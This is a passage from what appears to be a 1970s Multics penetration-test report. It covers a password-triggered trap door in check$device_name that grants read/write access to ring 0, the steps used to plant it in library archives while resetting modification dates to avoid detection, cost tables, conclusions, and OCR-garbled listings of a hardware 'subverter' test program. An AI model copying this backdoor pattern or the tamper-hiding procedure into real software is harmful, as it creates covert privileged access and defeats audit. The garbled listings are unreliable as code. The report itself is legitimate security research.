To demonstrate the feasibility of inserting and distributing trap doors, the following object code change was made to check$device_name to provide a generalized dump or patch facility. Figure 13 shows a PL/I program that performs essentially the same function as the trap door actually inserted in the object code. The listing of the actual trap door and its calling program is in Appendix C. Check$device_name is normally called with three arguments, the third being a fixed binary error code. The trap door is inserted at the point at which check$device_name would have returned. The trap door looks at the 72 bits immediately following the error code that was passed by the caller. If those 72 bits match a predefined 72 bit password, then the fixed binary word to which ptr1 points is copied into the fixed binary word to which ptr2 points. Since check$device_name is a ring 0 procedure, this copy is carried out using the ring 0 descriptor segment and allows the caller to read or write any word in ring 0. Dump and patch utilities can use this trap door exactly like the Insufficient Argument Validation vulnerability. The 72 bit key is used to ensure that the vulnerability is not invoked by accident by some unsuspecting user.

The actual insertion of the trap door was done by the following steps:

1. Change user identification to project SysLib.
2. Make patch in object archive copy of check$device_name in >1dd>hard>object.
3. Reset DTM on object archive.
4. Make patch in bound archive copy of check$device_name in >1dd>hard>bound_components.
5. Reset DTM on bound archive.
6. Reset user identification.

This procedure ensured that the object patch was in all library copies of the segment. The DTM was reset as in Section 3.4.4, because the dates on library segments are
check$device_name: procedure (a, b, code);

declare 1 code parameter,
   2 err_code fixed binary (35),
   2 key bit (72) aligned,
   2 ptr1 pointer aligned,
   2 ptr2 pointer aligned;

declare overlay fixed binary (35) based;

/* Start of regular code */

...;

/* Here check$device_name would normally return */

if key = bit_string_constant_password
   then ptr2 -> overlay = ptr1 -> overlay;

return;

end check$device_name;

Figure 13. Trapdoor in check$device_name
checked regularly for unauthorized modification. These operations did not immediately install the trap door. Actual installation occurred at the time of the next system tape generation.

A trap door of this type was first placed in the Multics system at MIT in the procedure del_dir_tree. However, it was noted that del_dir_tree was going to be modified and recompiled in the installation of Multics system 18.0. Therefore, the trap door described above was inserted in check$device_name just before the installation of 18.0 to avoid the recompilation problem. Honeywell was briefed in the spring of 1973 on the results of this vulnerability analysis. At that time, Honeywell recompiled check$device_name, so that the trap door would not be distributed to other sites.

3.4.6 Preview of 6180 Procedural Vulnerabilities

To actually demonstrate the feasibility of trap door distribution, a change which could have included a trap door was inserted in the Multics software that was transferred from the 645 to the 6180 at MIT and from there to all 6180 installations in the field.

3.5 Manpower and Computer Costs

Table III outlines the approximate costs in man-hours and computer charges for each vulnerability analysis task. The skill level required to perform the penetrations was that of a recent computer science graduate of any major university with a moderate knowledge of the Multics design documented in the Multics Programmers' Manual <MPM73> and Organick <ORG72>, plus nine months experience as a Multics programmer. In addition, the penetrator was aided by access to the system listings (which are in the public domain) and access to an operational Multics system on which to debug penetrations. In this example, the RADC system was used to test penetrations prior to their use at MIT, since a system crash at MIT would reveal the intentions of the penetrations. (39)

Costs are broken down into identification, confirmation, and exploitation. Identification is that

(39) It should be noted that while the MIT system was crashed twice due to typographical errors during the penetration, the RADC system was never crashed.
part of the effort needed to identify a particular vulnerability. It generally involves examination of system listings, although it sometimes involves computer work. Confirmation is that effort needed to confirm the existence of a vulnerability by using it in some manner, however crude, to access information without authorization. Exploitation is that effort needed to develop and debug command procedures to make use of the vulnerabilities convenient. Wherever possible, these command procedures follow standard Multics command conventions.

All figures in the table are conservative estimates as actual accounting information was not kept during the vulnerability analysis. However, costs did not exceed the figures given and in all probability were somewhat lower.

The costs of implementing the subverter and inverting the password scrambler are not included, because those tasks were not directly related to penetrating the system (See Downey <DOW74>). The Master Mode Transfer vulnerability has no exploitation cost shown, because that vulnerability was not carried beyond confirmation.
<table>
<thead>
<tr>
<th>Task</th>
<th>Identification</th>
<th>Confirmation</th>
<th>Exploitation</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Manhrs</td>
<td>CPU $</td>
<td>Manhrs</td>
<td>CPU $</td>
</tr>
<tr>
<td>Execute Instruction Access Check Bypass</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Insufficient Argument Validation</td>
<td>60</td>
<td>150</td>
<td>5</td>
<td>30</td>
</tr>
<tr>
<td>Master Mode Transfer</td>
<td>1</td>
<td>0</td>
<td>5</td>
<td>30</td>
</tr>
<tr>
<td>Unlocked Stack Base</td>
<td>0.5</td>
<td>0</td>
<td>2</td>
<td>20</td>
</tr>
<tr>
<td>Forging User ID</td>
<td>0.5</td>
<td>0</td>
<td>8</td>
<td>50</td>
</tr>
<tr>
<td>check$device_name Trap door</td>
<td>5</td>
<td>0</td>
<td>5</td>
<td>30</td>
</tr>
<tr>
<td>Access Password File</td>
<td>1</td>
<td>0</td>
<td>5</td>
<td>30</td>
</tr>
<tr>
<td>(Does not include deciphering.)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total</td>
<td>73</td>
<td>150</td>
<td>38</td>
<td>240</td>
</tr>
</tbody>
</table>
SECTION IV

CONCLUSIONS

The initial implementation of Multics is an instance of an uncertified system. For any uncertified system:

- The system cannot be depended upon to protect against deliberate attack.

- System "fixes" or restrictions (e.g., query only systems) cannot provide any significant improvement in protection. Trap door insertion and distribution has been demonstrated with minimal effort and fewer tools (no phone taps) than any industrious foreign agent would have.

However, Multics is significantly better than other conventional systems due to the structuring of the supervisor and the use of segmentation and ring hardware. Thus, unlike other systems, Multics can form a base for the development of a truly secure system.

4.1 Multics is not Now Secure

The primary conclusion one can reach from this vulnerability analysis is that Multics is not currently a secure system. A relatively low level of effort gave examples of vulnerabilities in hardware security, software security, and procedural security. While all the reported vulnerabilities were found in the HIS 645 system and happen to be fixed by the nature of the changes in the HIS 6180 hardware, other vulnerabilities exist in the HIS 6180. (40) No attempt was made to find more than one vulnerability in each area of security. Without a doubt, vulnerabilities exist in the HIS 645 Multics that have not been identified. Some major areas not even examined are I/O, process management, and administrative interfaces. Further, an initial cursory examination of the HIS 6180 Multics easily turned up vulnerabilities.

We have seen the impact of implementation errors or omissions in the hardware vulnerability. In the

(40) In all fairness, the HIS 6180 does provide significant improvements by the addition of ring hardware. However, ring hardware by itself does not make the system secure. Only certification as a well-defined closed process can do that.
software vulnerabilities, we have seen the major security impact of apparently unimportant ad hoc designs. We have seen that the development site and distribution paths are particularly attractive for penetration. Finally, we have seen that the procedural controls over such areas as passwords and auditing are no more than "security blankets" as long as the fundamental hardware and software controls do not work.

4.2 Multics as a Base for a Secure System

While we have seen that Multics is not now a secure system, it is in some sense significantly "more secure" than other commercial systems and forms a base from which a secure system can be developed. (See Lipner [LIP74].) The requirements of security formed part of the basic guiding principles during the design and implementation of Multics. Unlike systems such as OS/360 or GCOS in which security functions are scattered throughout the entire supervisor, Multics is well structured to support the identification of the security and non-security related functions. Further Multics possesses the segmentation and ring hardware which have been identified [SM74] as crucial to the implementation of a reference monitor.

4.2.1 A System for a Benign Environment

We have concluded that AFDSC cannot run an open multi-level secure system on Multics at this time. As we have seen above, a malicious user can penetrate the system at will with relatively minimal effort. However, Multics does provide AFDSC with a basis for a benign multi-level system in which all users are determined to be trustworthy to some degree. For example, with certain enhancements, Multics could serve AFDSC in a two-level security mode with both Secret and Top Secret cleared users simultaneously accessing the system. Such a system, of course, would depend on the administrative determination that since all users are cleared at least to Secret, there would be no malicious users attempting to penetrate the security controls.

A number of enhancements are required to bring Multics up to a two-level capability. First and most important, all segments, directories, and processes in the system should be labeled with classification levels and categories. This labeling permits the classification check to be combined with the ACL check and to be represented in the descriptor segment. Second, an earnest
review of the Multics operating system is needed to identify vulnerabilities. Such a review is meaningful in Multics, because of its well-structured operating system design. A similar review would be a literally endless task in a system such as OS/360 or GCOS. A review of Multics should include an identification of security sensitive modules, an examination of all gates and arguments into ring 0, and a check of all intersegment references in ring 0. Two additional enhancements would be useful but not essential. These are some sort of "high water mark" system as in ADEPT-50 (see Weissman [WFI60]) and some sort of protection from user written applications programs that may contain "Trojan Horses".

4.2.2 Long Term Open Secure System

In the long term, it is felt that Multics can be developed into an open secure multi-level system by restructuring the operating system to include a security kernel. Such restructuring is essential since malicious users cannot be ruled out in an open system. The procedures for designing and implementing such a kernel are detailed elsewhere. [AND73, BL73-1, BL73-2, LIP73, PR173, SCH73, SCH173, WAL74] To briefly summarize, the access controls of the kernel must always be invoked (segmentation hardware); must be tamperproof (ring hardware); and must be small enough and simple enough to be certified correct (a small ring 0). Certifiability is the critical requirement in the development of a multi-level secure system. ESD/MCI is currently proceeding with a development plan to develop such a certifiably secure version of Multics [ESD73].

60
REFERENCES


IBM70 IBM System/360 Operating System Service Aids, IBM System Reference Library, GC28-6719-0, June 1970.


IPC73 Information Processing Center, Summary of the HG180 Processor, Massachusetts Institute of Technology, 22 May 1973.


SAL73 Saltzer, Jerome H., "Protection and Control of Information Sharing in Multics," ACM Fourth Symposium on


APPENDIX A

Subverter Listing

This appendix contains listings of the three program modules which make up the hardware subverter described in Section 3.2.1. The three procedure segments which follow are called subverter, coded in PL/I; access_violations, coded in PL/I; and subv, coded in assembler. Subverter is the driving routine which sets up timers, manages free storage, and calls individual tests. Access_violations contains several entry points to implement specific tests. Subv contains entry points to implement those tests which must be done in assembler.

The internal procedure check_zero within subverter is used to watch word zero of the procedure segment for unexpected modification. This procedure was used in part to detect the Execute Instruction Access Check Bypass vulnerability.

The errors flagged in the listing of subv are all warnings of obsolete 645 instructions, because the attached listing was produced on the 6180.
subverters
procedure;
declare
hcs_$initialize entry (char (*), char (*), char (*), fixed bin (1), fixed bin (2), ptr, fixed bin),
date_time_entry (fixed bin (71), char (*)),
default_handler_$set entry (entry), /* establishes default condition handler */
timer_manager_$reset_alarm entry (fixed bin (71), bit (2), entry), /* sets alarm clocks */
timer_manager_$reset_alarm_call entry (entry), /* resets alarm clocks */
hcs_$make_seg entry (char (*), char (*), char (*), fixed bin (5), ptr, fixed bin), /* create a segment */
user_info_gnome_dir entry (char (*)),
cu_$arg_ptr entry (fixed bin, ptr, fixed bin, fixed bin), /* get pointer to arguments */
com_err_entry options (variable), /* prints error messages */
ioa_$io_stream entry options (variable), /* prints on io streams */
ioa_entry options (variable), /* prints on user_output */
cv_dec_check_entry (char (*), fixed bin) returns (fixed bin (35)), /* string to numeric conversion */
subverters$timer ext entry, /* entry to do the testing */
subv$call,
subv$idt,
subv$dirb,
subv$dirr,
subv$cloc,
subv$dias,
subv$rac,
subv$sacs,
subv$matc,
subv$voc,
subv$evac,
subv$cu,
access_violations_$illegal_opcodes,
access_violations_$fetch,
access_violations_$store,
access_violations_$xed_fetch,
access_violations_$xed_store,
access_violations_$id,
access_violations_$legal_bounds_fault,
access_violations_$illegal_bounds_fault,
entry (ptr),
clock_entry returns (fixed bin (71));
declare
i fixed bin,
fp pointer, /* points to failure blocks */
sp pointer int static, /* points to statistics segment */
code fixed bin,
wdir char (168),
DECLARE

1 SUBVERT_STATISTICS BASED(SP) ALIGNED,
2 CUR_TEST FIXED BIN(17) UNAL,
3 NEXT_CODE FIXED BIN(17) UNAL,
4 END_OF_SEGMENT FIXED BIN(17) UNAL,
5 LAST_FAILURE_BLOCK FIXED BIN(17) UNAL,
6 TEST_IN_PROGRESS FIXED BIN,
7 TIME_OF_LAST_TEST FIXED BIN(71),
8 CUM_TOTAL_TIME FIXED BIN(71),
9 NUMBER_OF_TESTS FIXED BIN,
10 TESTS(I) REFER(NUMBER_OF_TESTS) ALIGNED,
11 NUM_OF_ATTEMPTS FIXED BIN,
12 NUM_OF_FAILURES FIXED BIN,
13 FAILURE_BLOCK_PTR FIXED BIN(17) UNAL,
14 LAST_TEST_TIME FIXED BIN(71),
15 CUM_TIME FIXED BIN(71);

/* Start of include file subvert_statistics.incl.pl1 */

/* Start of include file failure_block.incl.pl1 */

/* End of subvert_statistics.incl.pl1 */

/* Start of include file failure_block.incl.pl1 */

/* Modified 21 July 72 0828 by P. Karger to use fixed bin unal */

DECLARE

1 FAILURE_BLOCK BASED(FP) ALIGNED,
2 VERSION FIXED BIN,
3 TYPE FIXED BIN,
4 TIME_OF_FAILURE FIXED BIN(71),
5 NEXT_BLOCK FIXED BIN(17) UNAL,
6 SCU_DATA(5) FIXED BIN /* to be defined */
/* End of include file failure_block.incl.pl1 */

interval = 60;
/* default interval = 60 seconds */
if code = 0 then
  do;
    if arg = "stop" then
      do;
        call timer_manager$reset_alarm_call (subverter$timer);
        return;
      end;
      interval = cv_dec_check_ (arg, code);
      if code = 0 then
        do;
          call com_err_ (error_table$badopt, "subverter", arg);
          return;
        end;
      end;
    end;
    call user_info$showdir (wdir);
    call hcs$make_seg (wdir, "subvert_statistics", ",", 01011b, sp, code);
    if sp = null () then
      do;
        no_seg:
        call com_err_ (code, "subverter", "subvert_statistics");
        return;
      end;
      if code = 0 then
        do;
          /* segment is new */
          last_failure_block, end_of_segment = 10000000000000000b
          /* 64K segment length */
          number_of_tests = max_test;
          cur_test = 1;
          next_code = -1;
          end;
        else
          /* segment already exists */
          if test_in_progress ~= 0 then
            do;
              call com_err_ (0, "subverter",
              "Test "a was in progress. Call subverter$reset to clear segment and resume.",
              test_names (test_in_progress));
              return;
            end;
          end;
          /* finish_setup */
          time_of_last_test = clock_ ();
          do i = 1 to number_of_tests;
            last_test_time (i) = time_of_last_test;
          end;
          call timer_manager$reset_alarm_call inhibit (1, "11"b, subverter$timer);
          /* start in 1 second */
          return;
        end;
      end;
    end;
  end;
end;
entry;
if test_in_progress = 22 /* illegal opcode test */ then next_code = next_code - 1;
go to finish_setup;

subv$timer
entry()

call check_zero();
ret_label = next_setup;
call default_handler Goset (fault_handler);
call get_failure_block (cur_test);
number_of_attempts (cur_test) = number_of_attempts (cur_test) + 1;
time = clock();
cum_total_time = cum_total_time + time - time_of_last_test;
time_of_last_test = time;
cum_test_time (cur_test) = cum_test_time (cur_test) + time - last_test_time (cur_test);
last_test_time (cur_test) = time;
go to c (cur_test);

c (1):
call subv$cam (fp);
go to scream_bloody_murder;

c (2):
call subv$sscu (fp);
go to scream_bloody_murder;

c (3):
call subv$sidt (fp);
go to scream_bloody_murder;

c (4):
call subv$sidbr (fp);
go to scream_bloody_murder;

c (5):
call subv$sdbbr (fp);
go to scream_bloody_murder;

c (6):
call subv$siloc (fp);
go to scream_bloody_murder;

c (7):
call subv$sidis (fp);
go to scream_bloody_murder;

c (8):
call subv$srama (fp);
go to scream_bloody_murder;

c (9):
call subv$sramc (fp);
end;
if failure_block_ptr (l) ^= 0 then
  do;
    fp -> next_block, last_failure_block = last_failure_block = block_size (l);
    /* thread on new block */
    fp = pointer (sp, fp -> next_block);
    /* set the pointer to the new block */
  end;
else
  do;
    /* this is the first failure block for this test type */
    failure_block_ptr (l), last_failure_block = last_failure_block = block_size (l);
    /* thread on the block */
    fp = pointer (sp, failure_block_ptr (l));
    /* set the pointer */
  end;
  fp -> failure_block.version = seg_version; /* initialize the block */
  fp -> type = l;
return;

free_failure_block:
  entry (l);
  /* entry to free space from an unneeded failure block */
  fp -> failure_block.version, fp -> type = 0; /* zero the data */
  do p = pointer (sp, failure_block_ptr (l)) repeat (pointer (sp, p -> next_block) while (rel (p) ^= rel (fp));
  tp = p;
  /* find a pointer to the block just before the one to be free */
  if p ^= pointer (sp, failure_block_ptr (l)) then tp -> next_block = 0;
  /* if not first block then unthread from block before */
  else failure_block_ptr (l) = 0;
  /* else unthread from header */
  last_failure_block = last_failure_block + block_size (l); /* indicate space is free */
end;

fault_handler:
  procedure (mc_ptr, cond_name, wc_ptr, info_ptr, continue);
  /* procedure to catch interrupts */
  declare
    l mc_ptr,
    wc_ptr,
    info_ptr;
  /* pointer to saved machine conditions */
  /* pointer to machine conditions in ring 0 */
  /* pointer to software defined info */
  ptr,
  cond_name char (*), /* name of condition */
  i fixed bin,
  n_conds fixed bin int static init (0), /* bit to indicate to continue search for handler */
  cond (l) char (32) int static init ("illegal_procedure", "635/645_compatibility", "635_compatibility", "undefined_acc", "accessviation", "bounds_fault_ok", "out_bounds_err", "illegal_opcode");
  /* array of cond names */
  do i = 1 to n_conds;
  /* loop through the condition name array */
  if cond_name = cond (i) then
    do;
      test_in_progress = 0; /* we want this condition */
      No more worries about crashes */
      call free_failure_block (curr_test);
      /* free the failure block */
end;
continue = "1"b;
return;
end;
check_zero:
proc;
/* This is a procedure to check for clobbering of bound_subvert */

declare
  1 impure based (impure_ptr) aligned,
  2 lock_word bit (36) aligned,
  2 compare_word bit (36) aligned;
declare
  word_zero bit (36) aligned based (pointer (impure_ptr, 0)),
  impure_ptr pointer based (addr (label_var)),
  label_var label,
  exec_com entry options (variable),
  setae entry options (variable);
label_var = dummy_label;
if lock_word == "0"b then
do;
call setae (">udd>d>pak>subvert", "rew", "Karger.Druid.*");
compare_word = word_zero;
lock_word = "0"b;
call setae (">udd>d>pak>subvert", "re", "Karger.Druid.*");
end;
else
  if compare_word == word_zero then call exec_com (">udd>Drud>Karger>subverter_error",
                             test_names (cur_test));
  return;
dummy_label:
i = i + 1;
i = i + 1;
end;
<table>
<thead>
<tr>
<th>LINE</th>
<th>NUMBER</th>
<th>NAME</th>
<th>PATHNAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>70</td>
<td>1</td>
<td>subvert_statistics.incl.pt1</td>
<td>/user_dir_dir/Druid/Karger/compiler_pool/subvert_statistics.incl.pt1</td>
</tr>
<tr>
<td>71</td>
<td>2</td>
<td>failure_block.incl.pt1</td>
<td>/user_dir_dir/Druid/Karger/compiler_pool/failure_block.incl.pt1</td>
</tr>
<tr>
<td>IDENTIFIER</td>
<td>OFFSET</td>
<td>LOC STORAGE CLASS</td>
<td>DATA TYPE</td>
</tr>
<tr>
<td>--------------------------------</td>
<td>--------</td>
<td>-------------------</td>
<td>-----------</td>
</tr>
<tr>
<td>access_violations_fetch</td>
<td>000374</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>access_violations_cid</td>
<td>000404</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>access_violations_illegal_bounds_fault</td>
<td>000410</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>access_violations_illegal_opcodes</td>
<td>000372</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>access_violations_legal_bounds_fault</td>
<td>000406</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>access_violations_store</td>
<td>000376</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>access_violations_store_offset</td>
<td>000400</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>arg</td>
<td>000402</td>
<td>constant</td>
<td>char</td>
</tr>
<tr>
<td>arg1</td>
<td>000405</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td>argp</td>
<td>000406</td>
<td>automatic</td>
<td>pointer</td>
</tr>
<tr>
<td>block_size</td>
<td>000412</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>clock</td>
<td>000414</td>
<td>automatic</td>
<td>entry</td>
</tr>
<tr>
<td>code</td>
<td>000424</td>
<td>automatic</td>
<td>entry</td>
</tr>
<tr>
<td>compare_words</td>
<td>000496</td>
<td>parameter</td>
<td>bit(36)</td>
</tr>
<tr>
<td>cond_name</td>
<td>000498</td>
<td>parameter</td>
<td>char</td>
</tr>
<tr>
<td>continue</td>
<td>000500</td>
<td>parameter</td>
<td>char(32)</td>
</tr>
<tr>
<td>enumerable</td>
<td>000502</td>
<td>parameter</td>
<td>array</td>
</tr>
<tr>
<td>cv_total_size</td>
<td>000504</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>cur_time</td>
<td>000506</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>cv_dec_check</td>
<td>000508</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>default_handler_set</td>
<td>000510</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>dt_string</td>
<td>000512</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>exec_com</td>
<td>000514</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>failure_block_ptr</td>
<td>000516</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>fp</td>
<td>000518</td>
<td>automatic</td>
<td>pointer</td>
</tr>
<tr>
<td>hcs_initialize</td>
<td>000520</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>hcs_maga_sag</td>
<td>000522</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>i</td>
<td>000524</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>i</td>
<td>000526</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td>i</td>
<td>000528</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td>i</td>
<td>000530</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td>i</td>
<td>000532</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
</tr>
</tbody>
</table>
wc_ptr 000105 automatic parameter char(168) dcl 346 ref 342
mdir based pointer char(168) dcl 50 set ref 88 89 273 274
word_zero based dcl 377 ref 386 391

NAMES DECLARED BY DECLARE STATEMENT AND NEVER REFERENCED:
termination based structure level 1 dcl 2-10
scu_data based structure level 1 dcl 3-73
subvert_statistics 5 based fixed bin(17,0) array level 2 dcl 2-10
tests based structure level 1 dcl 1-7
array level 2 dcl 1-7

NAMES DECLARED BY EXPLICIT CONTEXT:
c 000000 constant label dcl 146 ref 144 146 150 155 160 165 170 175 180
185 190 195 200 205 210 215 222 225 232 235 240
245 250
check_zero 002677 constant entry internal dcl 378 ref 134 262 378
display 001634 constant entry external dcl 271 ref 271
dummy_label 003984 constant label dcl 395 ref 382 395
fault_handler 002611 constant entry internal dcl 342 ref 136 136 342
finish_setup 001897 constant label internal dcl 342 ref 136 136 342
termination_block 002445 constant entry internal dcl 326 ref 326 362
get_default_block 002237 constant entry internal dcl 326 ref 326 362
maxi_setup 001365 constant label internal dcl 299 ref 127 299
dc 629 ref 129
no_seg 006072 constant label dcl 299 ref 129
scream_bloody_murder 001515 constant label dcl 299 ref 129
subvert 000432 constant entry external dcl 3 ref 3
subvertreset 001076 constant entry external dcl 125 ref 125
subverttimer 001121 constant entry external dcl 132 ref 132

NAMES DECLARED BY CONTEXT OR IMPLICATION:
addr builtin function internal ref 383 386 386 387 391 391
null builtin function internal ref 90 275
pointer builtin function internal ref 287 287 303 303 310 310 320 320 333
rel builtin function internal ref 287 329 329 329

STORAGE REQUIREMENTS FOR THIS PROGRAM:

<table>
<thead>
<tr>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Date</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>0</td>
<td>0</td>
<td>3542</td>
<td>4154</td>
<td>3057</td>
</tr>
<tr>
<td>Length</td>
<td>4540</td>
<td>3057</td>
<td>422</td>
<td>342</td>
<td>463</td>
</tr>
</tbody>
</table>

External procedure subvert uses 200 words of automatic storage.
Internal procedure get_failure_block uses 200 words of automatic storage.
Internal procedure fault_handler uses 76 words of automatic storage.
Internal procedure check_zero shares stack frame of external procedure subvert.

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM:
cp_csa   call ext_out_desc call ext_out call_int_this call_int_other return
get_csa   tra_label_var ext_entry int_entry int_entry_desc rpd_loop_1 lp bp

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM:
access_violations$fetch access_violations$ld access_violations$lllegal_opcodes
access_violations$Illegal_binds_fault access_violations$Illegal_binds_fault
access_violations$store access_violations$xxed_fetch access_violations$xxed_store clock
THE FOLLOWING EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>00431</td>
<td>3</td>
<td>00437</td>
<td>61</td>
<td>00912</td>
<td>95</td>
<td>00672</td>
<td>503</td>
<td>00797</td>
<td>519</td>
<td>001047</td>
</tr>
</tbody>
</table>
COMPILATION LISTING OF SEGMENT access_violations_
Compiled on: 04/10/74 1843.9 edt Wed
Options: map

1  access_violations:
2    procedure;
3      return;  /* should never enter here */
1 /* start of include file subvert_statistics.incl.pl1 */
1 Initially coded by 2 Lt. Paul Karger 19 July 1972 0900 */
1 declare

1 1 subvert_statistics based(sp) aligned,
1  2 cur_test fixed bin(17) unal,
1  2 next_code fixed bin(17) unal,
1  2 end_of_segment fixed bin(17) unal,
1  2 last_failure_block fixed bin(17) unal,
1  2 test_in_progress fixed bin,
1  2 time_of_last_test fixed bin(7),
1  2 cum_total_time fixed bin(7),
1  2 number_of_tests fixed bin,
1  2 tests(i refer(number_of_tests) aligned,
1  3 number_of_attempts fixed bin,
1  3 number_of_failures fixed bin,
1  3 failure_block_ptr fixed bin(17) unal,
1  3 last_test_time fixed bin(7),
1  3 cum_test_time fixed bin(7);  /* End of subvert_statistics.incl.pl1 */

1 /* Start of include file failure_block.incl.pl1 */
1 Initially coded by 2 Lt. Paul Karger 19 July 1972 0900 */
1 */ Modified 21 July 72 0820 by P. Karger to use fixed bin unal */
1 declare

1 1 failure_block based(fp) aligned,
1  2 version fixed bin,
1  2 type fixed bin,
1  2 time_of_failure fixed bin(7),
1  2 next_block fixed bin(17) unal,
1  2 scu_data(5) fixed bin;  /* to be defined */

1 /* End of include file failure_block.incl.pl1 */
1 declare

1 high_code fixed bin int static init (194),
1 has_truncated_sea entry int(5). fixed bin, fixed bin);
codes (0-104) fixed bin int static init (0, 3, 5, 8, 10, 11, 12, 14, 15, 24, 25, 26, 28, 47, 55, 60,
127, 74, 75, 76, 88, 89, 90, 91, 92, 124, 130, 139, 140, 152, 158, 204, 220, 252, 259,
260, 262, 263, 264, 266, 267, 268, 270, 271, 272, 274, 276, 278, 282, 284, 286, 298, 306,
308, 309, 310, 311, 314, 315, 316, 318, 321, 322, 323, 324, 328, 329, 332, 334, 337, 338, 339,
394, 409, 410, 428, 444, 457, 459, 460, 472, 476, 504),

bounds_fault_ok condition,
good_pdir_entry returns (char (156)),
clock_entry returns (fixed bin (71)),
subv$legal_bf entry (ptr),
subv$tray_op entry (fixed bin, ptr),
subv$illegal_bf entry (ptr, fixed bin (35)),
subv$ixed_fetcher entry (ptr, fixed bin (35)),
subv$ld_inst entry (ptr),
subv$ixed_storer entry (ptr),
hcs$make_seq entry (char (*), char (*), char (*), fixed bin (5), ptr, fixed bin)
cos$err_entry options (variable),
hcs$eacl_add entry (char (*), char (*), char (*), fixed bin (5), dim (012) fixed bin (6), fixed
bin),
cu$level$get entry (fixed bin),
noc_acc_p ptr int static init (null ()),
rewa_p ptr int static init (null ()),
read_p ptr int static init (null ()),
code fixed bin,
fp ptr,
sp pointer init (pointer (fp, 0)),
array (01262143) fixed bin (35) based,
bitstring bit (2359295) aligned based,
1 fixed bin (39),
j fixed bin (44),
p ptr based,
rings (012) fixed bin (6);
procedure;
    if read_p = null () then
        do:
            call hcs_make_seg ("", "subverter_temp_2", "", 0111ib, read_p, code);
            read_p -> p = pointer (read_p, 7); /* create pointer to word 7 */
            substr (unspec (read_p -> p), 67, 6) = "0111ib";
            /* put in ld modifier to its pointer */
            read_p -> array (7) = 100000000b; /* fill in the tally in the indirect word */
            call cu_sievel_get (); /* get validation level */
            rings (*) = 1;
            call hcs_sacl_addl (get pdir_, "subverter_temp_2", ",", 01008b, rings, code);
            /* reset the acl */
        end;
    end;

fetch:
    entry (fp);
      /* attempts to read data from execute only procedure */
      /* make sure we have a pointer to the segment */
      /* make the reference */
      /* should never get here */
      /* save whatever we got */

store:
    entry (fp);
      call get_no_acc_seg;
      i = no_acc_p -> array (0);
      time_of_failure = clock_ ();
      scu_data (i) = 1;
      return;

      /* attempt to write data into execute only segment */
      /* try to store */
      /* failed */

xad_fetch:
    entry (fp);
      /* try to fetch with xad instruction */
      /* go into ala code */
      /* should not return */

xad_store:
    entry (fp);
      /* try to store with an xad instruction */
      /* go into ala */
      /* should not return */

lit:
    entry (fp);
      /* try to store using an indirect and tally modifier */
      /* get a read only segment with data initialized */
      /* go into ala code */
      /* should never return */
entry (fp);
call get_rewa_seg;
call subv$legal_bf (rewa_p);
if rewa_p -> bitstring = "0"b then signal condition (bounds_fault_ok);
do l = 0 to 65535;
  if rewa_p -> array (1) != 0 then
    do;
    time_of_failure = clock_();
    scu_data (1) = l;
    scu_data (2) = rewa_p -> array (l);
    return;
  end;
  scu_data (1) = -1;
  scu_data (2) = 0; /* indicate found non-zero first time */
return;

illegal_bounds_fault:
entry (fp);
call get_rewa_seg;
call subv$illegal_bf (rewa_p, l);
time_of_failure = clock_();
scu_data (1) = l;
return;

illegal_opcodes:
entry (fp);
call get_scratch_seg;
if next_code = high_code then next_code = 0;
else next_code = next_code + 1;
call subv$try_op (codes (next_code), scratch_p);
time_of_failure = clock_();
scu_data (1) = codes (next_code);
return;
end;
<table>
<thead>
<tr>
<th>LINE</th>
<th>NUMBER</th>
<th>NAME</th>
<th>PATHNAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>1</td>
<td>subvert_statistics.incl.pli</td>
<td>/user_dir_dir/Druid/Karger/compiler_pool/subvert_statistics.incl.pli</td>
</tr>
<tr>
<td>6</td>
<td>2</td>
<td>failure_block.incl.pli</td>
<td>/user_dir_dir/Druid/Karger/compiler_pool/failure_block.incl.pli</td>
</tr>
<tr>
<td>IDENTIFIER</td>
<td>OFFSET</td>
<td>LOC STORAGE CLASS</td>
<td>DATA TYPE</td>
</tr>
<tr>
<td>------------------</td>
<td>----------</td>
<td>---------------------</td>
<td>----------------</td>
</tr>
<tr>
<td>array</td>
<td></td>
<td>based</td>
<td>fixed bin(35,0)</td>
</tr>
<tr>
